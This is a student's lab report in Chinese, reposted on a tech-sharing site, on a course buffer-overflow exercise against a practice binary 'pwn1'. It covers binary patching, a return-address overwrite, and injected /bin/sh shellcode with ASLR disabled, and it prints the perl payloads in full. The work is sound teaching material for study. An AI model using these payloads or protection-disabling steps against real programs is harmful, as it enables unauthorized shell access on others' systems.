ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

20212803 2021-2022-2 《网络攻防实践》实践九报告

2022-05-14 20:33:48  阅读:158  来源: 互联网

标签:x90 pwn1 函数 kali 实践 2021 2022 foo shellcode


20212803 2021-2022-2 《网络攻防实践》实践九报告

1.实践内容

本次实践的内容主要是对名为pwn1的linux文件进行操作。文件的程序执行流程为main调用foo函数,foo函数回显任何用户输入的字符串。此程序还包含getShell代码段,会返回shell,但正常情况是不会被运行的。实践任务就是要运行这个代码段。
实践有如下三个内容:

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。

实验要求
1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
2.掌握反汇编与十六进制编程器
3.能正确修改机器指令改变程序执行流程
4.能正确构造payload进行bof攻击

2.实践过程

1.手动修改执行文件

首先在云班课下载pwn1文件,修改文件名,使用命令 objdump -d 2803pwn1 |more 对文件进行反汇编

观察到main函数,getshell函数,和foo函数。在main函数中call为调用函数,EIP的指向为调用函数的地址。此时EIP指向0x08048ba+0xffffffd7=0x08048491 为foo的地址。我们要使EIP指向getshell函数就要修改0xffffffd7,改为0xfffffc3。因为0x08047d-0x080484ba=0xffffffc3。

打开文件转换为16进制命令:%!xxd,查找e8 d7命令/e8 d7,把d7修改为c3,输入:%!xxd -r,转换16进制为原格式即可

2.利用foo函数的Bof漏洞

阅读foo函数的汇编代码,代码功能为输入一个字符串,然后输出此字符串,点并没有检查输入的字符串是否超出缓存空间。所以存在BOF漏洞。观察代码,得出预留的局部空间为0x38,而获得的字符串放在0x1c处,栈存储结构,当字符串长度为36时,第33到36个字节会覆盖EIP中。

使用gdb对pwn1副本2028pwn2调试结果如下所示。说明以上推理正确

通过以上分析,只要将输入字符串的第33-36位设置位getshell的入口地址,实验就可以成功。输入命令
perl -e 'print "ttttttttyyyyyyyyhhhhhhhhtttttttt\x7d\x84\x04\x08\x0a"' > input 形成字符串文件input 输入命令 (cat input; cat) | ./pwn1 即可成功。

3. 注入一个自己制作的shellcode并运行这段shellcode

首先输入如下命令设置状态
命令 execstack -s pwn1 将栈堆设置为可执行的状态
命令 execstack -q pwn1 查看pwn1的栈堆是否为可执行状态
命令 more /proc/sys/kernel/randomize_va_space 查看地址随机化状态
命令 echo "0"> /proc/sys/kernel/randomize_va_space 关闭地址随机化状态

构造需要注入的patload,我们将使用retaddr+nop+shellcode的方法。构造如下结构。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
其中第33到36字节位覆盖到堆栈上的返回地址的位置。
然后执行命令 (cat input_shellcode;cat) | ./pwn1
接着再开一个进程来gdb来调试pwn1进程。执行命令 ps -ef | grep pwn1。然后找到进程执行调试。

然后我们设置断点break *0x080484ae,使程序再foo返回前停止,查看当前esp的值。

根据dsp的值得出栈顶的值为0x01020304
构造shellcode:32个A+retaddr+nop+shellcode。输入以下命令。实验成功。
perl -e 'print "A" x 32;print "\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\0x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1

3.学习中遇到的问题及解决

问题1:命令execstack在kali中没有安装,然而apt-get也无法安装
解决:我参考了别人的博客,更改了安装源。添加下列几行。

deb http://http.kali.org/kali kali-rolling main contrib non-free
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib

执行命令 apt-get install execstack 然后就可以安装了
问题二:实验三中调试环节中执行continue命令c后长时间没有反应
解决:查看其他人的方案后得知要在程序运行窗口输入回车符号

4.实践总结

通过本次实验,我学习了基本的汇编语言代码,实践了缓冲区溢出漏洞,加深了对此漏洞的理解。提高了我的动手实践能力。本次实验我还进行了修改机器代码的操作,学会了修改机器的基本方法。所以在今后的编程中,我也会注意此漏洞,提高自己编写的代码的安全性。

参考资料

标签:x90,pwn1,函数,kali,实践,2021,2022,foo,shellcode
来源: https://www.cnblogs.com/t1527/p/16271380.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有